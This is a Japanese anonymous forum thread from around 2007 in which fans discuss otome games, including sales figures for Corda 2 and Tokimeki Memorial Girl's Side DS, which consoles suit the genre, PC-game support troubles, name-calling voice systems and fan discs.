>>284 選択肢を、主役の行動をプレイヤーで決めさせるものではなく
ルート分岐やキャラの反応の違いを楽しませるものとして捉えるなら
濃厚な心理描写は別にあってもいいと思うけどな。
好きなタイプが決まっていて、好きなキャラ以外攻略したくないという人以外は
選択肢は、主役に自身の感情を織り交ぜるものではなくルート分岐のためにあるものと見なすし
特に特攻したいタイプがいない場合、とりあえず八方美人プレイをとりあえずしちゃうって人も多いだろうし。
メモオフが乙女ゲーはこうあるべき
みたいな考えに対して一石を投じてくれる結果になりゃいーんだけど
すっかりこのスレから雑談スレに移動した感じだねw
まあ、こればかりは多少なりとも蓋を開けてみないと
議論のしようがないというのがあるからねw
メモオフの名を借りただけの従来のテンプレ通りな乙女ゲーなのか、
それとも何か新しい形を提示してくれるのか…現時点では何とも言えないもんなあ。
雑談スレならgdgdしててもさほど問題ないからな
そうはいっても、出だしから
ときメモ意識したタイトル→GS意識したタイトルで注目を集め
声優ももろかぶりだからなあ……
評価は内容でするとしても安易に参入してきた感は拭えないな
おもしろけりゃいいよ
しかし名前を売るのには成功したね
声優さんもかぶってるしGSに動きのない今がチャンスなのは間違いないと思う
ギャルゲーメーカーの参入は増えて欲しい
ぽつぽつ参入はしてるんだけど
1作で終わっちゃうんだよな…
選択肢が増えるのは嬉しい
ギャルゲメーカーが入ってくるのは、また別
デュエルがコケたら
バンナムって二度と乙女ゲ作らないのかな。
それって複雑だな…
一作でコケて乙女ゲーから撤退されるのもあれだけど
デュエルが大売れしたら次出される乙女ゲーもああいう方向になりそうで嫌だ
新しい開発元や今まで乙女ゲにかかわって来なかった人が関わるようになるっていうのはいいことだね。
いくら新しい販売元や移植が増えても、
開発する所が同じじゃあまり変化は期待出来ないし
ギャルゲメーカーがどうこうって、
メモオフのKIDはすでに水でとっくに参入してきてるじゃまいか
ギャルゲー好き??はメーカーの中のチームでも色々あるみたい
5gkは水チームとは違うらしいからね
>>298 同じKIDといっても、スタッフは全然違うんじゃないの?
メモオフGSスタッフは、水の旋律に関わってなかったようだし。
個人的には、乙女ゲ定番ライターじゃないだけ
水より可能性は感じるな。未知数ではあるが
>メモオフGSスタッフは、水の旋律に関わってなかったようだし。
詳しいですね、それってどこでわかるの?
ライターと絵師以外で
ずっと思ってるけどKIDとやらの中の人がいそうw
急にリサーチしてる感じがある。
これだけじゃ何なのでひとつ。
PS2 金色のコルダ2 アンコール(限定版含む) 23,571本
だって。乙女ゲーもここまで数字を伸ばせるとそろそろ世間的に認められそう?
2万でヒットじゃPCエロゲとそんな変わらんですがな
ネオアンと同じぐらいだね
ただ、ネオロマじゃそんなものかな…とも思ってしまう。
同じ派生系の迷宮や舞一夜と比較してしまうせいかもしれないけど…
同じ数値をD3あたりが出したら
乙女ゲも売れるようになったなと驚くかも。
ムスコ育成は今までと変わらなかったし
まあこれだけ乙女ゲ板で良くも悪くも話題になったからには
中の人がフォローしに来てるだろうさ。ニラニラしとけばいい。
>PS2 金色のコルダ2 アンコール(限定版含む) 23,571本
え……少なくない?
GSDSはたしか初週3万近かったよね?
ネオロマは後になって通常板を買う人ってほとんどいないから
初週の後のびないんだよな……
GSDSよりコルダ2の方が売れたらしいよ >雑談スレによると
2万ってすごいと思うけどそっか遙かの方が更に売れてるんだね
乙女ゲーの伸びしろが知りたい
それでも無印は初動が悪かったものの
じわ売れで4万到達したんじゃなかったっけ。
まあ、方向性変わってるっぽいし
所詮FDだから無印と同じ動きをするかどうかは分からないけど。
あったあったコピペ
>ときメモGSDSの推定販売本数は、(情報提供メディアクリエイト)
> 累計(6/3現在) 5.1万本、初週 2.9万本だったらしい。
コルダはそれより売れてて、更に遙かがいるのか。
上手くいけば結構売れるね
売れるかどうかは内容次第
遙かもコルダもストーリーがしっかりしてるから売れても当たり前かと
これから参入や新作をつくるならストーリーを重視して欲しい
3月のコルダとGSDSのことなら
発売初週はコルダのほうがDSGSよりか何千本か多かったが
次の週にはDSはランクイン、コルダはランク外に落ちて集計なしだった。
DSは最初ただの移植+タッチだけだと思われて手をださなかった人がかなりいたそうだ。
口コミでだんだん増えたのかな?
ネオロマは初週が命。
>>306 そういう意味じゃ遙か3は例外なのかな
無印より迷宮の初動の方が1万多いぐらいだし。
迷宮の売上見たときは
タイミングって大事なんだと思ったよ。
コルダ2と餡子はキャラ据え置きだから
前作やった人はみんな買うよね
DSはそういや新作じゃなくて移植なのに5万越えか
>累計(6/3現在) 5.1万本、初週 2.9万本
DSGSって、店舗別CDドラマ特典をやってなかった?
知り合いが5本だか6本だか買ったって言ってたから、
そんなもん?って思っちゃったよ……(もちろん1本だけの人の方が多いんだろうけど…)。
ネオロマはそういや店舗別特典やらないんだっけ
>>315 やってたけど私の周りのGSやってる人はスルーしていたなあ
コンマイのゲーム好きって声オタは少ない気がする
だから関連商品も出ないんじゃない?
>>307 いや、最終累計は、GSDSの方が上だってさ。
242 名前: 名無しって呼んでいいか? [sage] 投稿日: 2007/09/29(土) 15:35:48 ID:???
売上げ話するときりがないけど初動はコルダ2の方が売れてた
でも先月だったかのファミ通で上半期恋愛ゲーの売上げが載っていて
1位はfate
2位はDSGS
3位はコルダ
GSは5万何千本かでコルダは3万何千本だったな
トン切るけど今後はDSで新作乙女は出ると思う?移植じゃなくて
携帯ゲーでもすごく濃いのが出てきてるしPS2へのこだわりみたいなのも
だんだん消えてきたかなと思ってるんだけど
>>319 爆死したけど、ストライカーが出たし、
爆死するだろうけど、デュエルが出るじゃん。
PS2のゲームの開発してる所がみなDSで簡単に開発出来るわけじゃないだろうし
開発出来る環境次第じゃないかな。
既にDSに参入してる所は可能性高いと思う
勝ち組ハードがハッキリするまでは
結構コンスタントに出るかも?と密かに思ってるけど、
バンナムみたいにタッチペン機能を勘違いしたメーカーは
2度と現れて欲しくないな。
>>319 そのうち出るんじゃない?
ドラクエもDSででるし
新作だったらPSPで出てくれるほうがいいな
新型もこの前出たFFのせいもあってかなり売れたっていうし
これからはPSPが巻き返してくる気がする
↓ソース
新型PSPの累計販売台数は34.3万台となった。
また、同時発売された「ワンセグチューナー」の注目度も高く、
新型PSPユーザーの約2割が購入している。
自分もPSP派
キラーソフトが出たしPSPに人が流れれば見込みはあるかと思ってる
DSは容量なさ杉で物足りない・・・・・・
おー、PSPも結構売れたんだね
PSPと言うと今は一般も乙女も移植ゲームが多い印象だけど
ユーザーが増えれば完全新作も出るのかな。
ただ、据え置きでやりたい派の人はPS2が先細って行くとどうなるんだろう
正直、乙女ゲーはPS3のクオリティは必要ないし
PS2の終焉と共にPSPかDS、もしくはアプリに移るのかな
そういう意味では先は見えないけど
肥小波あたりが牽引して流れを作りそう
PS3はロイヤリティが高いうえにスペックの無駄遣いになりそうだね
3Dエロゲがあるけど乙女ゲが3Dになる日はくるのだろうか
次からは、ググるか、質問スレへ
キラーソフト
キラーソフトとはキラーアプリケーションの一種であり、
コンシューマーゲームハードウェアの販売を促進するのに多大な影響力があった、
もしくはそのソフトが発売される前から多大な影響力があると
期待されているゲームソフトを指す名称である。
キラータイトルとも呼ばれる。
また、巨費によるアドヴァタイズメントで良作と位置づける作品。
単純に売り上げのよかった作品を指す場合もある。
出典: フリー百科事典『ウィキペディア(Wikipedia)』
>>331 PSPのキラーソフトって意味じゃないの?
だったら、クライシス コア -ファイナルファンタジーVII だといいたんだろうけど、
あれって、FF7の回顧ファン以外に、買う人っているの?
先週は、50万超えたらしいけど、今週はもう10万本になった初動型だったようだし。
初動型つってもケタが全然違うじゃないかw
それだけ前評判がよかったってことかな……
初動の桁が違いすぎなんだぜ・・・
でもモンハンだので盛り上がって来てるのは確かだねー
乙女ゲーはPSPの方が向いてそうだからちょっと期待
なんかWS思い出すな…
>>332 ZはDVD作品やアプリが流行った影響で中高生にかなり人気がある
今や腐女子ゲーとなった悲しい作品
PSPでキラーソフトといわれていたのはMHPだわ。
MHP発売時点で結構数を延ばしたんで、
FFCCはキラーという扱いをされにくいと思う。
新型PSPのキラーとしてはFFCCと言えるかもしれないけど、
すでにPSPを持っている層がどれだけ買い換えるか微妙だ。
PSPの最大の問題点は壊れやすいという部分なんだけど
新型の方は良くなってるのかな……?
PSPは画像もきれいで、ソフトの容量も十分あるから
乙女ゲーが移行してくれるとうれしいんだけど
開発費がDSと違って、かなり高額っていうから
新作を期待するのは難しいのかしらん?
一般ゲームでも、PSPは移植ものが多いよね。
というか、DSやPSP等の携帯ゲーム機が
乙女ゲーのメインのプラットホームになって欲しくないんだが…。
やはり据え置き機で綺麗なグラフィック、クリアなサウンドを楽しみたいよ。
そういや新型PSPはテレビに繋げられなかったっけ。
あれを利用すれば、一応は据え置き機と同じように楽しめるんでは?
PSPのソフトは音声もグラフィックも綺麗だし。
まあ、根本的な解決にはならないだろうけど。
据え置き型の次世代機で乙女ゲーは本当に向いて無さそうなのばっかりだよね…
360もPS3もハイスペック過ぎるし普及率がまだ伸び悩んでる。
Wiiはスペックや開発環境的にはアリなんだろうか?
操作面はリモコン操作使わない選択肢もあるから、それほど問題ないと思うんだけど
PS2もADVを作るには向いてないんだけどね
開発はWindows環境が使える360が企業側としては使いやすいだろうけど
いかんせん普及率が低いしな……。
作る側なら一番楽なのはPCなんだけど、それはそれでユーザー側が
こなれていないので無理という感じ。
結局今はPS2で出すのが一番無難ってことか……。
>>340 同意。
居間でしかゲームできないとか家族の目が気になる人は携帯機がいいだろうけど
一人でプレイできる環境があるユーザー的には意味ないんだよね、携帯乙女ゲー…
んーでも、GSDSやってみたら、
ロードはないし、
ベッドの中で寝転んでできるし
携帯は携帯で、いいとこも多いよ。
それぞれメリット・デメリットはあるから携帯と据え置きの
どっちがいいかは永遠に結論が出なさそうだな
それぞれの利点を生かしたものが色々出ればいいんだが
DSとかだったらもういっそ声を取っ払ってゲームとしての完成度を高めるという方向に行くところがあってもいいだろうになあ。
>>344 据え置き機でのゲームを望んでる層はそもそも
そこはあまり重要視してないしなあ>ロード無し・寝転んでできる
そこに据え置き機でできるゲーム以上に魅力を感じているなら
とっくに宗旨替えしてるわけで。
自分も携帯機よりは据え置きがいい派なので、
それでも携帯機を選ぶのであれば個性的な遊び方が出来る可能性があるDSがいいかな。
グラフィックや音は重視してる方だけど、PSPってPS2と出来ることは変わらないんだよね?
ただ、TV出力が据え置き機と遜色なく出来るのならPSPの方がいいかなとも思うけど
そのへんはどうなんだろ。
>>348 それ、余り期待しないほうがいいよ。
1 TV出力ができるのは、新型PSPのみ
2 出力できるのはプログレッシブ対応TVのみで、別売ケーブルも必要
3 PSPの特殊なサイズの横ワイド液晶が災いして、
TVに出力しても 周囲にかなり大きな黒枠ができる
PSPソフトは、PS2の移植が多いし、素直にPS2やった方がいいと思う。
DSは嫌だ、PSPは嫌だという話をしても結局は勝ち組ハードに行くだろうから
ここでどうのこうの言ってもしょうがないけど、
DSは画面が2つにわかれていて、それぞれ小さい上にタッチペンという弊害もあるから
乙女ゲーをゲームとして遊びたいと思ってない派にはあまり行ってほしくないハードだな。
もちろん据え置きのままで続行の流れになるならそれにこしたことはないけど。
>>347 つか、そんな極一部の層に気遣うなんてありえないんじゃない?
今まで「ロードが〜」と叩かれたソフトは数多く見てるけど
「ロードが酷いけど大丈夫」なんて評価みたことないよ
>>350 DSだとCGの美しさはPS2に完敗だろうけど、
ドット的な美しさはDSの方が圧倒的だと思う
DSでだしてPS2に移植が流行んないかなぁ…とか思う今日この頃
・名前固定派 VS 名前変換派
・携帯ゲーム機派 VS 据え置き機派
反目はあれど、”今のところ”両者共存できてるんだし、
こっちが勝ち組!なんて言い切ることもないのではないかと思うがね。
どうして白黒はっきり付けたがるかな。
・肥派 VS 小波派
も自重
肥の圧勝ですけど
据え置き機と携帯機さあDOTTI?については希望意見出し合ってるだけで。
「勝ち組」については、据え置き機同士、携帯機同士での話かと思ってた。
肥の圧勝ですけど
>>354-355,357
ウザイ。どっか池。
というか、
>>354はどこからそんな発想が出てきたんだ?
>>352 350は、PSPとDSならどっちかって話じゃないか。
>もちろん据え置きのままで続行の流れになるならそれにこしたことはないけど。
と、最後にとあるから。
>>351 ロード無しと糞ロードを比べてどうのこうの言ってるんじゃなくて、
ロード無しと標準のロードを比べてるんだと思うんだけど。
ロード無しがPS2その他を捨てるほど魅力的なら、PCゲがもっと普及してると思う。
しかし、PCゲはPS2の受け皿にはならないと思うな
やっぱりPCは敷居が高いって人は多い
しかも機種依存があるから、ソフトいれれば誰でも出来るという手軽さがない
当然、動かなかったりしだすと、サポートの手間は倍増
まして口うるさい乙女ゲーマー相手じゃなあ…
自分は携帯機あんまり好きじゃないけど、やっぱりDSになるのかなと思う
本来なら声ヲタ頼りの現状考えると、PSPなんだろうけどね
板違いの話になっちゃうけど18禁乙女ゲの公式サポート掲示板なんてカオスだからな
「スペック満たしてないユーザーは買うなって事ですか!?」「CDってどこから入れるんですか><」「スペックって何ですか」
何故質問する暇はあるのに調べる暇がないのか疑問だ
調べても理解できないからじゃないか
結局、18禁っていうのと声優辺りに釣られて本末転倒してるとか
調べ方がわからないから安易に質問するんだよ
大方自分のPCじゃなくて家族のものなんだろう。
学校のを使っているのかも…
「インストールってなんですか」「PS2ではプレイできないんですか?」
「学校のパソコンでしか出来ないんですけど、インストールしないで
遊べる方法を教えてください」
18禁ゲーのサポ掲示板なのに、この体たらく
まして小学生もプレイする一般乙女ゲーが、PCオンリーになったら
どうなることやら
2ちゃんなら「インスト−ルってなんですか」→「ググれカス」で
終わりだけどメーカー側がそれをやるわけにもいかないからな…
まあPCオンリーになることはさすがに無いと思うがPC乙女の
新規参入は二の足踏まれてそうだ
まあ、いかにあほでも客だからな……
本当は画面綺麗・フルボイス余裕、ロード無しのPCは
ADV主体の乙女ゲーには向いてると思うんだけどね
家庭用が先だったゲーマーには、やはりPCゲーは億劫なようだ
すごいクオリティだな…18禁乙女ゲーの掲示板w
もしかして性コミあたりを喜んで読んでる未成年?とも思ったけど、
今時小学生でもインストールくらい分かるだろうしなあ。
やっぱホントに分からない成人なんだろうか…。
成人もいるだろうけど、未成年の確率の方が高そう
性コミ以下略は当たらずとも遠からずだと思う
しかもPCゲームって開発コストが安いとか何とかで販売本数のノルマ低いんだよね?
私もPCは乙女ゲに向いてると思うなあ
そんな下へ下へと降りるような考え方どうかと。
乙女ゲはコンシューマーでやればいいよ。
据え置きの普及率1位はまだまだPS2が不動なんだし
PS2とDS、たまにPSPで充分。
ノルマが低いからってターゲット層が薄い分超えられるかは微妙なような
ちょこちょこコンシューマ移植がある所を見ると、採算取れるくらいには
売れてる乙女ゲの割合は高いってことなんだろうか
それとも取れてないからこそ逆に移植に応じるんだろうか
昔から家庭用ゲームに親しんできた自分もPCゲは躊躇するな
第一ハードの値段が違いすぎる
ゲームしかしない層向けの安くて簡単操作のPCが出ればいいのに
らくらくフォンみたいな
つかPCはゲーム機じゃねーし。
さんざん既出だがギャルゲエロゲがPCメインで発展したのは
・メーカー側が作りやすい(開発費がコンシューマーとはダンチに安上がり)
・素人でも作れるソフトがあり質のいい同人ゲーが出るようになった
・規制が少ない、追加やパッチをあてやすい
みたいに作る側の理由のほかに
「男オタが自分の部屋でやりやすい」があると思うよ(ナニをやりやすかは想像にまかす)
据え置きゲーム機はだいたい家のテレビに繋がっているもので
PCには密室感がある。
対して女性のユーザーはPCの所持率がとても低い。
家にあっても自分用じゃなかったりするからコンシューマー展開のほうが向いている。
こっそりやるのにはPCよりも携帯機。
PCクラッシュや延々とセーブデータが増え続けるバグ、とか
前例見てるとPCにする利点ふっとばすくらいに不安にはなるな。
確実にPC慣れてないプレイヤーで、被害増えるだろうし。
更にバグはなくてもライブメーカー製とかだと、ならPS2でいいじゃんと思う
ま、乙女ゲは現状維持でしょ。
おいらは一般ゲーで女主人公や男キャラエンドが増えてくれることを望むよ…
一般ゲーで増えるのはいいな
PCだと、やっぱりクラッシュの可能性があるし、
メーカーの対応も期待できないから別にプレイできなくてもいいって感じ
クラッシュはさすがに言いすぎだけどw
メーカーも、パッチ前提で作っちゃうというのはあると思うな。
さすがに大手が販売としてきちんと入っているコンシューマとは
企業の対応ひとつ取っても、どうしても劣ってしまうと思う。
男性向けエロゲーはそのネックを認識していても、
それを上回る購入動機(エロ)があったから、あんなに栄えたんだよね。
ところで私359なんだけど、
>>360 私もPCはPS2の受け皿にならないと思うよ。
いくらロードが速くても、それだけじゃ据え置き機を捨てる理由にはならなかったという話をしてるんだよ。
つまり、347の言うロード無しを重要視していない証左になると言いたかったのよ。
携帯機のいいところに、据え置き機派が魅力を感じるかどうかの話だけ。
どうせ移植するんだろ?が先に立ってPCゲはなかなか買う気が起こらない
その点では未だにコンシューマ移植が無い飴ゲーは安心して買えたんだが
あそこって最近新作出さないんだよな…
もうキネティックしか出ないんだろうか
移植って作ってるメーカーに対する萎え要素になりがちだけど、
稼いでるのはむしろ移植やってる会社なんだよね……。
男性向にしろ、PCからの移植っていうのが随分多くなったけど
本当に良し悪しだと思う。
>>378 実際クラッシュするソフト出したけどな…
>某18禁乙女メーカー
声や絵の質の高さにうるさい女性ユーザーに携帯機はねぇ…
>>382 声オタ多いからなーこのジャンル(´・ω・`)
DSPSPが無理なら、どの機種が一番最適かねぇ
セーブデータ無限増殖バグか…ハードがいっちゃった人いるんだよね
PC乙女ゲーって、技術力も底辺なんだね…
>>384 Σ(´Д`;)
そろそろ18禁ゲーの話題はやめないか?w
なんにせよPCソフトはいろいろと敷居が高いと思う
乙女ゲ技術じゃPCの故障に繋がるバグだってあるし…
>さすがに大手が販売としてきちんと入っているコンシューマとは
>企業の対応ひとつ取っても
肥(ry
>PC乙女ゲーって、技術力も底辺なんだね
そんな特殊例と一緒に括られたらまともなソフト出してるメーカーが気の毒だよ……
>>383 Wiiだと思う
携帯ゲーならPSP?
でもDSのほうがソフト多いし私はDS希望
ぜひPSPで出してほしい。
絵も綺麗、音声も。ボリュームたくさん。
1台で何役もこなせるから便利なんだよ、PSP。
私もwiiがいいなぁ
携帯機はいくら画面綺麗って言っても小さいし
やっぱテレビ画面でみたい
だよなあ。
音声的な面で突き詰めるなら携帯機だと
PSP一択(容量さえ割ければCD音源でも入れられるし)になるけど
PS2とプレイ様式が変わらんのなら、まともなTV出力が可能でないと
どうもやる気がおこらない…
かといってDSは、面白いんだけどおもちゃーな感じで萌えゲーに走れない…
やっぱ萌えゲーは個人的な意見だけども据え置きかPCがいいな。
>>387 先の猛将伝の対応で大手企業としてもう完全に終わってると思った…>肥
つか正直PSPはそのあとPS2移植がありそうで怖い
Wiiで乙女ゲやる意味はゼロだと思うよ
PS2でいいじゃない。まずみんなが持ってるんだから。
とはいえ、PS2ソフトっていつまで出るんだろう…
PS3かwiiか、次世代ゲーム機はどちらが優勢になるかによると思われ。
今は様子見って感じがする。
いらん心配だね。
どの次世代機がいいかなんてここで話すことでもあるまい
乙女ゲーがPS2の容量と可能性いっぱいいっぱい使うことが先じゃないの?
そうだね
まずPS2での限界を・・・
>Wiiで乙女ゲやる意味はゼロだと思うよ
Wiiというと「リモコンとヌンチャク」ってイメージがつきまといがちだけど
実際はアナログコントローラー的な使い方もできるわけから、
やる意味がないってほどではないと思う
でも、個人的にはPS2でいいという意見に同意。
ただ問題なのは、いつまでPS2のソフトを作らせてくれるかだよな……。
>>399 ドリームキャストなんか、ハード販売が終わって
何年もたっても、未だにソフトがほそぼそと出続けてるね。
あれは、コアなシューティングゲーマーと
シューティングが好きな開発開始やや開発陣に支えられてるんだけど
乙女ユーザーが、そこまで出来るかどうかわからないな。。
メーカーにもそんな覚悟や情熱を持った開発陣はいなさそうだし。
文句言うわりに金落とさないからな女性ユーザーは
人から借りましたって前置き付きでゲームの批評する奴なんて初めて見たわ
>>397 というかハードの話になるとずっと同じ話がループしてるよね
PS3にしろ携帯機にしろ結局は生き残ったハードに行くんだから
それがどんなに乙女ゲー、乙女ゲーマーに適してないクソ環境であっても
ソフトが出る以上受け入れざるをえないと思うんだよなあ。
PS2の容量については、別に使いきることもないと思う。
フルボイスくらいしろ、イベントもうちょっと増やせというのならわからないでもないけど
ゲーム性ならどんな面白いゲームを考えるか、が重要であって、
容量は面白いゲームが堪能できれば余ってても問題はないからね。
しかし面白いゲームを求めている人間が非常に少ないという事実
ぶっちゃけ声とグラさえしっかりしてればゲーム部分なんぞプレステ、下手したらその一世代前のハードでも
ごまかせそうじゃん、乙女ゲユーザー
特典のドラマCDと設定イラスト集だけでも成立しそうなことと、その状況を少なからず喜んでいる
売り手がいる以上、ここから上のステップには進まないんじゃないだろか
面白くなってほしいとは思っているけど萌えが欲しいあまりに
ゲーム要素が低いのを承知で購入してしまうんだよなあ
読み物ばかりで飽きるから1年に1本くらいしか乙女ゲを買ってないけど
もっといろんな方向性のゲームがあれば色々買いたくなるだろうにな、と思う
牽引している大手がシリーズで押す類だしなぁ
なかなか新しい要素を組み込んだゲームが出てこないのも道理なのかもしれない
乙女ゲームのユーザーは、意外なもの、目新しいものよりも
自分の予想の範囲で満足できるものを作ってほしいと思っているし
好みと違えばヒステリックにわめくかネチネチ叩くので
作り手は冒険する気になれないと思う。
スレ見てると、そのゲームが好きな人は、萌えたかどうかだけではしゃぐし
嫌いな人もダサいとか萎えたとか道徳的にどうとかで、
作品として見た冷静な批判はほとんどしない。
作り手を作り手として見て尊敬してない。
作り手もきっと、ユーザーを、金を落とす客として見るだけで、
作品世界を共有する仲間として愛していない。
男性向けだと、ムチャクチャに叩いてるようで、どっかにメーカーへの愛というか
仲間意識みたいなものが見え、デキる作り手をカリスマとして盛りあげるけど
乙女ゲーユーザーは、根本で、突出した存在を妬み、嫌っている。
乙女ゲユーザーというより女性の気質なのかもしれないけど、
なんというか、もうちょっと、建設的な空気をつくれないものかと思うよ
>>406 逆でしょ
そういうユーザーに向いた作品を作るのが作り手
ユーザーに何を期待してるのかわからないけどお客様は神様
コナミの本家ときメモは、モバイル展開ばかりだな。
乙女ゲーも、飽和状態でパッケージ版が売れなくなると
こうなっていくのかねぇ。
ttp://www.konami.jp/gs/game/tokimeki/ ときめきメモリアル2
恋愛シミュレーションゲームの金字塔「ときめきメモリアル2」が、
50Mバイト超の大容量でついに携帯ゲームとして登場です!!
期間限定(2007年10月1日〜31日)無料体験版ダウンロード
本当だ…
ときメモってファンクラブも解散してるのか。
こりゃホントにコナミは終わりっぽいね。
シュミの技術はすげーと思うのに、勿体無い…
勿体無かろうと会社が(゚听)イラネ!なら終わりだろう
携帯からコンシューマへ来る会社もあれば方向転換する会社もあるってことじゃない?
遅かれ早かれ淘汰されていきそうだよね。今の発売予定表を見てるとw
本家は壊滅的に売れなかったからな>新しく無いけど据え置き最新作
コナミはMGSも4で本編はラストだしなぁ
コンマイが撤退しても乙女は何も変わらないと思うが。
そんな影響力はない。
肥が撤退するならびびるがそれはないだろうしw
肥の圧勝ですけど
確かにw
何せ1シリーズしかないもんねぇ
しかし撤退するならEVSを置いていけになりそうだな
>>414 イベントで荒稼ぎ出来るってのもオイシイし、
何よりネオロマは偉い人たちの趣味半分だしね
……だからこそ売れなくても定期的に出せたんだろうけど
EVSの権利を肥が買えばOK
前にも出てたが、EVSってそんなに良いか?
個人的には空白があるより更に気持ち悪いんだけど……
綺麗に呼んでくれる名前探すの大変だし
>>420 私もいらないと思うけどね。
GSは個人的に絵が苦手でやってないけど、デフォ名呼びで充分だ。
主人公=私の人が欲しがってんじゃない?
ちょっとね
ファンクラブ昔入ってたw
解散しちゃったんだね・・・
どうしても肥小波話にしたい人がいるみたいだけど
自分はどっちも好きなんで勘弁してください
どっちにも良いところも悪いところもあるし、どっちも良くなってくれりゃ嬉しい
新しいメーカーも頑張ってるみたいだしさ
でも肥小波、あとカプンコ以外のメカは
間違ったことに力入れてる気がするんだが……
無いよりはあった方がいいと思うけどね
空白は不自然だし
ちょっと突っ張ったキャラに「てめえ」呼ばわりされたときは気分悪かったし・・・
>>407 お客様は神様で開き直るからダメなんだよ……
肥があればいいや。
デフォ名ボイス呼び>適度に代名詞変換>EVS>空白
個人的にはこんな感じ。
まあEVSだったら、必ず綺麗に呼んでもらえる名前を
デフォにしておいてくれれば、それで万事解決と思うんだけども。
>>428 それはあるね>EVSでもデフォ名あり
GSは無駄に頑張って探して疲れて挫折した……
出てるキャラと同じにしてみてもダメだったし
名前はどうでも良いなw
それよかシナリオだなー、自分は
そういや、乙女ゲーってやっぱ高校生が主人公なんだろうか?
ラスエスは社会人だっけ・・・
>>431 『乙女』ゲーなんだから基本は学生だろう
ターゲットは大人だけじゃないし
移植とかD3がちょっと異色なだけで
ビタミンは教師だったね、そういえば
メイン攻略キャラが全部年下の高校生ってよく考えると凄いな
んー、乙女ゲーの「乙女」は
主人公の年齢に基づくものじゃなくて
「乙女心」の方を指すものだと思うけどな。
>>432 そーいやそうだ!乙女…
新規のメーカーは嬉しいが、どこも似たり寄ったりなのがなー
一応雑食だから全部買ってるけど、一度クリアしたら再プレイしないのばっかりだよ…
>>430 自分も
ストーリー>>>>>絵>システム>>>声>>>その他の要素、
って感じだ。
あとは、わりと主人公=自分(つーか自分の中の乙女ゲー専用ヒロインw)で遊ぶタイプだけど
名前呼びはEVSだろうがテキストのみの呼びかけだろうが正直どうでもいい。
空白部分は脳内補完できるからw
他にもバックラッシュやデザラブがあるね。>社会人ヒロイン
どっかで見たキャラも多いよね
GSの王子とコルダの柚木はだいたいいるw
>>437 王子は王道だし、柚木はもはや欠かせない2面性キャラだね。
少女マンガ見ていても乙女ゲーに影響されてんのかなってはあるよ。
学生だと恋愛させやすいからじゃないかな
とりあえず同じ学校だったらほぼ一日中接点があるし
それと、学生〜社会人までをターゲットにした時
共通で経験したことがあるのが学生時代だからじゃないかな
リア中高の子だと、社会人の主人公だと感情移入しにくいだろうし
色々なゲームが出てきたからD3みたいな
学生以外の主人公のゲームが出てきても選択する幅が出来て嬉しいな
D3とオトメイトの判断が付かなくなってきたw
自分はヒューネックスがよくわからない…
D3と組んでるのかな
関係無いが、2面性あるキャラがどいつもこいつも
中の人が同じでウヘァになる今日この頃
人気あるキャストを起用するのはわかるが、
役柄まで似たキャスティングしないで欲しい……
オトメイトの本気度はすごいな…と思う
何かが違う気もするけれどw
結構あるんだね、社会人ヒロイン
教えてくれてありがとう
大人向けにならない程度で増えると良いけど、社会人で甘酸っぱいのは無理か−
社会人で甘酸っぱかったらヒロインが嫌われそう
え?ヒューネックスはゲームの制作会社じゃないの?
自分の販路は持っていないから販売メーカーの下請をやっているんだと思うんだけど。
ファーストKiss☆物語 for Girl's
>>437 見た目のデザインが似てるのも多いよね
とあるゲームにまんまナオジがいてびっくりした
いたいたw
PSPのが性能がいいんだからGS1stをリメイクして欲しい
その方が声オタも納得できると思うんだ
これ以上リメイクしたらそれはそれでGS厨は怒るんじゃない?
そうだよねっ
私はDSとPSP持ってるけど、圧倒的に性能が違う
もうヘボいDSじゃゲームなんかやってられないよ
今後またDSでGS作品が出るなら
タイピングを移植して欲しいな
そうだね。タッチペン昨日でタイピングって今まで思いつかなかった。
面白そうじゃまいか
面白そうだが……異様に難易度が高そうだ
というかそれはもはやタイピングじゃなくて
眼力トレーニングとかそっち方面じゃないのか
PSPで、新作じゃなくて移植かー。
DSの移植の場合は、ペンやマイクっていう
据え置きとは違う追加要素が期待できるけど、
PSPの移植なら、素直に据え置きでやるなー。
画面デカすぎて覗き込まれそうだから外でやれないし
もともとPSPって外でやるには向かない仕様だし。
なら、大画面かつ良い音でできるのにPSPでやらなくても。
それともTVだと恥ずかしいっていう、乙女ゲーマーも多いのかな?
アプリコットのミニゲームにあったよね
出てくる文章をあいうえおバラバラにならんだ
キーボードを押してくってやつ
タッチペンなら出来そう
>>456 家の中のどこででも出来るから、って意見はたまに見るな
糞みたいなゲームしか作れないメーカーには
どんなハードでもろくなもの作れやしないよ
はいはいコーエーの圧勝コーエーの圧勝(笑)
新作が出ないってだけで
なんでEVSを肥に譲れとまで言われなくちゃいけないんだw
追加ディスク商法は結局の所、喜ばれてるのかね?
肥のようにはじめからそれありき、の会社もあるし
D3も息子はやりそうな作りだった(これは私の感じた事だけど)
小波のように何年間も客をほっぽって置く会社もあれだが、
本編は本編で終わらせて欲しい…
そろそろハードありきの話やめないか?
そんなことより乙女ゲーの課題は他にいくらでもある
とりあえず絵か声優そろえるかエロを入れさえすれば金を出す
金ヅルユーザーがいるかぎり
オトメイトやロゼは変わらないし、テキトーこくメーカーが増えるだろなー
>>462 微妙な例だけど、個人的には
「FDはおkだけど追加ディスクはイラネ」って感じかな
ちなみに移植の場合は、本編まるごと移すだけにしてほしい
あれこれ追加するぐらいならFDでも作ってもらったほうがまし
D3は制作会社の考えが大きいんじゃまいか?
恋華はD3が再三追加ディスク出すように言っても断り続けたらしい
ムスコとビタミンはヒューネックスだから出しそう
ゆとりでごめん・・・
ファンディスクと追加ディスクって違いは何か聞いてもいい?
ファンディスクと追加ディスクと派生ソフトの違いを教えてくれ
ごちゃごちゃしてきた
遙かで言うと十六夜=追加、迷宮=FDだね
十六夜はまあ良かったけど迷宮は余計だった
コルダは2が2ってよりは追加、餡子がファンデスクかなー
しかし理事は2で落とせるべきだったんだぜ
ぶっちゃけ一度プレイしたゲームを何度もやりたくないだけなんだよね。
追加されたシーンの為だけに強制的に再プレイさせられるのが苦痛で仕方ない。
自分の意思で再プレイするのとは、また別の問題なんだ…orz
>>470 遙かやってないからわからない
具体的にどういうもの?
移植の新キャラ登場はせこいよね
手抜きしてる気がする…
追加ディスクは自分は嬉しいよ
落とそうと思えば落とせるのにやらないで
後で別のゲームにして「あの●●を落とせる!」をウリにする商法って
かなりきたないかもな。
遙かはもう諦めたがコルダまであの商法でくるとは…
でもみんな買ってるから正解なんだろうな。
金持ちはよござんすね
追加ディスク、物によるなー
遥か3のは大筋一緒だからイラネと思った派
コルダ2は大筋が違ったのでそれはそれで楽しめた
しかしアンコールはヒドイと思った…
